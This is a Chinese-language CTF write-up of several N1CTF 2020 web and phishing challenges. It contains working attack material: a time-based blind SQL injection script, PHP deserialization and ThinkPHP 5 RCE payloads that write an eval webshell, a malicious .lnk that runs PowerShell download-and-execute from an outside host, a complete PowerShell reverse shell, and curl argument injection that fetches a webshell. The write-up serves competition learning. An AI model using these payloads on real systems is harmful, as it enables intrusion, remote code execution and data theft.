N1CTF的題目質(zhì)量毋庸置疑,可惜自己能力不足。除了簽到還看了easytp5,filters,還有滲透系列的Victim.基本都沒(méi)思路或者思路跑偏了......抓緊復(fù)現(xiàn)下來(lái)學(xué)習(xí)學(xué)習(xí)。
signin
這題拿的二血難受死了,錯(cuò)失空指針邀請(qǐng)碼......(西湖upload也是二血,自己人最近也有點(diǎn)水逆,難道這就是2的詛咒么?:( )
source
class ip {
public $ip;
public function waf($info){
}
public function __construct() {
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
}else{
$this->ip =$_SERVER["REMOTE_ADDR"];
}
}
public function __toString(){
$con=mysqli_connect("localhost","root","********","n1ctf_websign");
$sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return "your ip looks ok!";
}
mysqli_close($con);
}
}
class flag {
public $ip;
public $check;
public function __construct($ip) {
$this->ip = $ip;
}
public function getflag(){
if(md5($this->check)===md5("key****************")){
readfile('/flag');
}
return $this->ip;
}
public function __wakeup(){
if(stristr($this->ip, "n1ctf")!==False)
$this->ip = "welcome to n1ctf2020";
else
$this->ip = "noip";
}
public function __destruct() {
echo $this->getflag();
}
}
if(isset($_GET['input'])){
$input = $_GET['input'];
unserialize($input);
}
顯然我們需要getflag的話,需要拿到數(shù)據(jù)庫(kù)里的key.而key需要通過(guò)sql注入獲取。這里唯一存在注入的地方在ip的__toString中。故通過(guò)反序列化觸發(fā)__toString即可。設(shè)置flag類的ip為ip類就可以在stristr處觸發(fā)了。
接下來(lái)就是黑盒waf下進(jìn)行注入的事了。
我的思路比較直接。直接時(shí)間盲注。當(dāng)然這里稍微構(gòu)造下進(jìn)行報(bào)錯(cuò)盲注也是可以的。(因?yàn)?code>__toString的返回值會(huì)與n1ctf比較,而__toString返回值有mysql報(bào)錯(cuò)與"your ip looks ok!"兩種,那么就可以構(gòu)造報(bào)錯(cuò)從而產(chǎn)生布爾值來(lái)盲注了)
時(shí)間盲注的話,由于ban了不少關(guān)鍵詞,所以我是現(xiàn)學(xué)的新方法
select rpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')
其實(shí)挺像 js里的正則盲注的。當(dāng)然其實(shí)從其他幾種時(shí)間盲注方法如heavy query就可以推出這種令服務(wù)端產(chǎn)生負(fù)荷的方法必然可行233。
然后題目只waf掉了rpad,rpad不能用的話改成lpad就好了:)
exp
import requests
import time
import string
url='http://101.32.205.189/'
def getflag(payload):
r = requests.get(url, params={'input': payload})
print(r.text)
#key n1ctf20205bf75ab0a30dfc0c
def sqli():
res=""
for i in range(1,50):
print(i)
for j in string.printable:
headers = {
#'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
#'X-Forwarded-For': "1'^(if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='n1key'),"+str(i)+",1))=" + str(j) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
'X-Forwarded-For': "1'^(if(ascii(substr((select `2` from (select 1,2 union select * from n1key)a limit 1,1),"+str(i)+",1))=" + str(ord(j)) + ",(select lpad('a',2999999,'a') regexp concat(repeat('(a.*)+',30),'b')),0))^'1"
# select `2` from (select 1,2 union select * from n1key) a limit 1,1
}
t = time.time()
r = requests.get(url, params={'input': payload}, headers=headers)
if 'hack' in r.text:
print('banwords')
if time.time() - t > 2.5:
res +=j
print(res)
break
if __name__=="__main__":
#sqli('O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";N;}')
getflag('O:4:"flag":2:{s:2:"ip";N;s:5:"check";s:25:"n1ctf20205bf75ab0a30dfc0c";}')
這里浪費(fèi)我時(shí)間最久的就是最后一步select key from n1key,導(dǎo)致錯(cuò)失一血。試了好久還換了一種注法才懷疑是他服務(wù)端waf了這個(gè)語(yǔ)句。然后嘗試性的改成無(wú)列名注入select `2` from (select 1,2 union select * from n1key)a limit 1,1就成了 orz. 所以可能還是自己太菜才錯(cuò)失良機(jī)吧。
filters
source
<?php
isset($_POST['filters'])?print_r("show me your filters!"): die(highlight_file(__FILE__));
$input = explode("/",$_POST['filters']);
$source_file = "/var/tmp/".sha1($_SERVER["REMOTE_ADDR"]);
$file_contents = [];
foreach($input as $filter){
array_push($file_contents, file_get_contents("php://filter/".$filter."/resource=/usr/bin/php"));
}
shuffle($file_contents);
file_put_contents($source_file, $file_contents);
try {
require_once $source_file;
}
catch(\Throwable $e){
pass;
}
unlink($source_file);
?>
這題自己就沒(méi)做出來(lái)了。不過(guò)可以分享下我當(dāng)時(shí)的思路,我感覺(jué)應(yīng)該是控制filter過(guò)濾器多層組合fuzz來(lái)構(gòu)造任意字符。也就是說(shuō)前提是在resource始終為/usr/bin/php下的。
假如這里不是file_get_contents的話其實(shí)很簡(jiǎn)單,因?yàn)檫^(guò)濾器的內(nèi)容可以使用我們自定義的,所以像
php://filter/write=string.rot13|<?cuc @riny($_CBFG[Dsgz])?>/resource=
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSb[cy)]?; >
可以在file_put_contents()時(shí)寫入指定文件。并且warning不影響寫入。不過(guò)出題人肯定知道這點(diǎn)所以是先f(wàn)ile_get_contents再file_put_contents。并且文件名的參數(shù)也不可控,所以就不知道是什么奇淫技巧了。
ps: 看到官方wp的確是fuzz構(gòu)造字符。有點(diǎn)orange 的 oneline php challenge那味了。
看到SuperGusser的wp后感覺(jué)他們的思路是真的簡(jiǎn)單。。。
filters=resource=data:,<?php%20system('ls');?>
直接最質(zhì)樸的data協(xié)議寫入,不用帶上text,plain,base64之類的。那么后面的內(nèi)容都被當(dāng)做data的內(nèi)容了。所以根本不用管/了
easytp5
smile大師傅的題必然少不了thinkphp ?
這題我思路有點(diǎn)走偏了,其實(shí)要是按照原來(lái)暑假跟過(guò)的tp5.0 的rce思路應(yīng)該會(huì)順利多了。
以下內(nèi)容可以在直接學(xué)習(xí)tp漏洞的筆記找到
首先是一個(gè)tp5 rce的通用點(diǎn)。那就是可以通過(guò)控制器來(lái)覆蓋值。
在Request.php
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
}
典型的就是可以調(diào)用Request任意方法并以$_POST為參數(shù)。
然后進(jìn)__construct后
public function __construct($options = []){
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
}
有一個(gè)任意參數(shù)覆蓋。所以還是利用這個(gè)類的所有可控參數(shù)來(lái)找gadget打。
這里繼續(xù)下斷點(diǎn)一路跟發(fā)現(xiàn)會(huì)根據(jù)app_debug的值前往當(dāng)前類下param方法。
而這個(gè)方法全都走input方法。也就是都會(huì)調(diào)用了call_user_func。
//input
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
//filterValue
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調(diào)用函數(shù)或者方法過(guò)濾
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
以上部分跟tp5的rce思路完全一致。只不過(guò)題目設(shè)置了disable_function,以及禁用了一些單參數(shù)函數(shù)。導(dǎo)致大部分payload都不可行。
那么比較重要的就是找gadget了。
我們可以控制filter,然后進(jìn)行任意方法的單參數(shù)rce.不過(guò)由于for循環(huán)循環(huán)調(diào)用$value.所以可以搭配gadget進(jìn)行rce.
這里可以找惡意函數(shù)找到eval
thinkphp\library\think\view\driver\Php.php
public function display($content, $data = [])
{
if (isset($data['content'])) {
$__content__ = $content;
extract($data, EXTR_OVERWRITE);
eval('?>' . $__content__);
} else {
extract($data, EXTR_OVERWRITE);
eval('?>' . $content);
}
}
因?yàn)檫@里的直接調(diào)用會(huì)報(bào)錯(cuò),所以看到SuperGuesser的wp里提到了設(shè)置set_error_handler 為任意其他函數(shù)來(lái)避免tp的默認(rèn)錯(cuò)誤處理。此處是implode.那么就可以直接繼續(xù)了。
關(guān)于filter的調(diào)用。
就是這四次調(diào)用
1.set_error_handler "implode"
2.self::path base64-payload
3.base64_decode base64-payload
4.\think\view\driver\Php::Display payload
payload
http://127.0.0.1:8000/?s=captcha&g=implode"
post:
path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ2J5Yy5waHAnLCc8P3BocCBldmFsKCRfUkVRVUVTVFtieWNdKTs/PicpOyA/P
g==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET
這里我覺(jué)得利用::的確意想不到。以為按照自己的認(rèn)識(shí)來(lái)說(shuō)::是用來(lái)訪問(wèn)靜態(tài)屬性跟方法。沒(méi)想到是可以調(diào)非靜態(tài)的(有warning).基于上面已經(jīng)解決了tp報(bào)錯(cuò)的問(wèn)題,這里也就沒(méi)啥問(wèn)題了。
看到smi1e分享了其他一些非預(yù)期解以及預(yù)期解。打算跟一跟
The king of phish (Victim bot)
source
import os
import uuid
import LnkParse3 as Lnk
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
return source
@app.route('/send', methods=['POST'])
def sendFile():
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
data = file.stream.read()
if not data.startswith(b"\x4c\x00"):
return "You're a bad guy!"
shortcut = Lnk.lnk_file(indata=data)
if shortcut.data['command_line_arguments'].count(" "):
return "File is killed by antivirus."
filename = str(uuid.uuid4())+".lnk"
fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
open(fullname, "wb").write(data)
clickLnk(fullname)
return "Clicked."
def clickLnk(lnkPath):
os.system('cmd /c "%s"' % lnkPath)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
這里開(kāi)始主要是被lnk的命令里bypass 空格給困擾了。后來(lái)想起來(lái)不用空格還可以用其他不可見(jiàn)字符.那就很簡(jiǎn)單了。用\t替換下空格即可。
結(jié)果找半天沒(méi)找到惡意lnk的生成工具。。。
最后今天復(fù)現(xiàn)時(shí)找到一個(gè)windows上的。 https://github.com/fireeye/SharPersist
用以下命令即可生成lnk文件.
SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "IEX(New-Object`tNet.WebClient).DownloadString('http://xxx/byc.ps1')" -f "byc1" -m add
這里用到一個(gè)小技巧:powershell命令行下可以直接用`t 來(lái)表示字符串中的\t。
然后開(kāi)始準(zhǔn)備用的是nishang的反彈shell腳本。結(jié)果沒(méi)反應(yīng),感覺(jué)是被防火墻攔了。所以就換了個(gè)簡(jiǎn)單的
服務(wù)器上的byc.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.0.2.4",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
最后發(fā)送即可getshell
flag在userA 桌面
n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}
后面拿域控的思路就沒(méi)有了...
Docker_Manager
BUU上面又復(fù)現(xiàn)了兩題。zabbix_fun直接拿exp打的。Docker_Manager可以記錄下
趙總的wp很詳細(xì)了。學(xué)到很多
https://www.zhaoj.in/read-6750.html
題目核心代碼基本就是下面了
$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
exec($cmd, $output, $ret);
顯然就是一個(gè)curl的參數(shù)注入。但是利用起來(lái)比較有趣。
You tell curl to read more command-line options from a specific file with the -K/--config option, like this:
-K是可以讀取一個(gè)配置文件的。然后如果配置文件demo如下
# --- Example file ---
# this is a comment
url = "example.com"
output = "curlhere.html"
user-agent = "superagent/1.0"
# and fetch another URL too
url = "example.com/docs/manpage.html"
-O
referer = "http://nowhereatall.example.com/"
# --- End of example file ---
也就是說(shuō),只要K能加載到設(shè)計(jì)過(guò)的配置文件,就能讀內(nèi)容并輸出。這只用到了-K一個(gè)指令,即可達(dá)成寫shell的目的。
然后就是非常巧妙的一個(gè)利用了。我們需要想辦法讀到配置文件,而這就是利用了/proc/xxx/cmdline
原來(lái)我們知道,/proc/self/cmdline常用于讀取java,python這樣的web應(yīng)用的一些簡(jiǎn)單配置。但是實(shí)際上其他命令行或者說(shuō)一個(gè)pid都會(huì)對(duì)應(yīng)其運(yùn)行時(shí)的命令即/proc/{pid}/cmdline。
那么假如我們有辦法讓cmdline長(zhǎng)時(shí)間駐留,就可以爆破pid讀取到配置文件。這里可以利用/dev/urandom等等文件。實(shí)際上dev下很多沒(méi)有實(shí)際大小的文件都可以用來(lái)讀取。
那么首先我們利用換行符,就能在某個(gè)pid的cmdline構(gòu)造如下的一個(gè)配置文件
view.php?host=-K/dev/urandom%00&cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="http://frps:9001/byc.php"%0aoutput="img/byc.php"%0a%0a%0a%0a%0a%0a%0a
curl --connect-timeout 10 '-K/dev/urandom' --cacert='111
url="http://frps:9001/byc.php"
output="img/byc.php"
接下來(lái)就是同樣的辦法爆破-K/proc/xx/cmdline,從而加載上面的配置文件,寫進(jìn)shell
getshell后 trap "" 14 && /readflag即可。